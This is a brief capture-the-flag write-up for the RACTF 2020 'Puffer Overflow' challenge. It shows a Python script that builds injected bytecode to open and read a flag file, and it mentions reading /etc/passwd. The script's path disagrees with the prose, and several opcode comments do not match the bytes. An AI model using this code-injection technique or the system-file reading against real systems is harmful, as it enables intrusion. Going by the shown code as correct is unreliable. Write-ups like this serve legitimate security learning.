Tags: bytecode python3
Rating:
In brief: do `globals()["open"]("/home/ractf/flag.txt").read()` in Python bytecode.
At first I tried reading `flag.txt` but it didn't work. Then my teammate ArRu reminded me that maybe the flag is in another directory, so we tried reading `/etc/passwd` and learned that the home directory of user `ractf` is `/home/ractf`.
Payload generator:
```
import sys
def put(string):
bytecode = b""
for n, i in enumerate(string):
bytecode += b"t\x00" # LOAD_GLOBAL 0 (chr)
bytecode += b"d" + bytes([ord(i)]) # LOAD_CONST n
bytecode += b"\x83\x01" # CALL_FUNCTION 1
if n != 0:
bytecode += b"\x17\x00" # BINARY_ADD
return bytecode
def attr(payload, attr):
payload = b"e\x04" + payload # LOAD_GLOBAL 4 (getattr)
payload += put(attr)
payload += b"\x83\x02" # CALL_FUNCTION 2
return payload
# globals()
payload = b"e\x02" # LOAD_NAME 2 (globals)
payload += b"\x83\x00" # CALL_FUNCTION 0
# globals()["open"]
payload += put("open")
payload += b"\x19\x10" # BINARY_SUBSCR
# globals()["open"]("flag.txt")
payload += put("flag.txt")
payload += b"\x83\x01" # CALL_FUNCTION 1
# globals()["open"]("flag.txt").read()
payload = attr(payload, "read")
payload += b"\x83\x00" # CALL_FUNCTION 0
payload = b"a" * 32 + payload
sys.stdout.buffer.write(payload)
```
The script says it all, but here's a **[more detailed write-up](https://ypl.coffee/ractf-2020-puffer-overflow/)** if you want more information.
Flag: `ractf{Puff3rf1sh??}`
Hmmm...The flag is a little bit too short, isn't it? :-/